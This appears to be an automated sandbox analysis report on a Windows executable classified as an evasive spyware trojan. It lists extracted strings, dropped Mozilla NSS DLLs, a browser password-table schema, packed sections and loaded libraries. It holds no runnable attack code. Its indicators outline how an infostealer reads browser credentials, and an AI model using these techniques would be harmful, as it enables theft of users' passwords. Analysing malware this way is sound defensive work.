Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2447965245.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2301637968.0000000001586000.00000004.00000020.00020000.00000000.sdmp, IJDHDGDA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: file.exe, 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: HIEHDAFHDHCBFIDGCFIDGHJDGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2436233500.0000000029752000.00000004.00000020.00020000.00000000.sdmp, JJEGCBGIDHCAKEBGIIDB.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB3B910

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4	0_2_00D7D0A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B	0_2_00DBD04B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBE9CD	0_2_00DBE9CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB49F6	0_2_00DB49F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB84BC	0_2_00DB84BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D15C38	0_2_00D15C38
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CEE5FC	0_2_00CEE5FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1B5AE	0_2_00E1B5AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DB65BB	0_2_00DB65BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB542	0_2_00DBB542
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6D6E5	0_2_00D6D6E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D92E2C	0_2_00D92E2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD35A0	0_2_6CAD35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB334A0	0_2_6CB334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C4A0	0_2_6CB3C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C80	0_2_6CAE6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16CF0	0_2_6CB16CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADD4E0	0_2_6CADD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE64C0	0_2_6CAE64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD4D0	0_2_6CAFD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4542B	0_2_6CB4542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15C10	0_2_6CB15C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22C10	0_2_6CB22C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AC00	0_2_6CB4AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4545C	0_2_6CB4545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5440	0_2_6CAE5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB385F0	0_2_6CB385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10DD0	0_2_6CB10DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00512	0_2_6CB00512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFD00	0_2_6CAEFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFED10	0_2_6CAFED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34EA0	0_2_6CB34EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3E680	0_2_6CB3E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5E90	0_2_6CAF5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB476E3	0_2_6CB476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBEF0	0_2_6CADBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEFEF0	0_2_6CAEFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB39E30	0_2_6CB39E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17E10	0_2_6CB17E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25600	0_2_6CB25600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46E63	0_2_6CB46E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC670	0_2_6CADC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB13E50	0_2_6CB13E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4640	0_2_6CAF4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB22E4E	0_2_6CB22E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9E50	0_2_6CAF9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB277A0	0_2_6CB277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06FF0	0_2_6CB06FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADDFE0	0_2_6CADDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB17710	0_2_6CB17710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE9F00	0_2_6CAE9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB060A0	0_2_6CB060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0E0	0_2_6CAFC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB158E0	0_2_6CB158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB450C7	0_2_6CB450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B820	0_2_6CB1B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24820	0_2_6CB24820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE7810	0_2_6CAE7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1F070	0_2_6CB1F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8850	0_2_6CAF8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD850	0_2_6CAFD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D9B0	0_2_6CB0D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC9A0	0_2_6CADC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB15190	0_2_6CB15190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32990	0_2_6CB32990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B970	0_2_6CB2B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B170	0_2_6CB4B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED960	0_2_6CAED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFA940	0_2_6CAFA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42AB0	0_2_6CB42AB0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 009F45C0 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB194D0 appears 57 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB0CBE8 appears 101 times

Source: file.exe, 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2448396494.000000006CD55000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: toxgxdkd ZLIB complexity 0.9950180898293358

Source: file.exe, 00000000.00000003.2173789827.0000000005050000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@1/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB37030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB37030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A08680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00A08680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A03720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00A03720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\OK15UKBD.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2319652620.000000001D6CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2296577352.000000001D6B4000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr, JKFIDGDHJEGIEBFHDGDG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2447624096.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2431728372.000000001D7BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
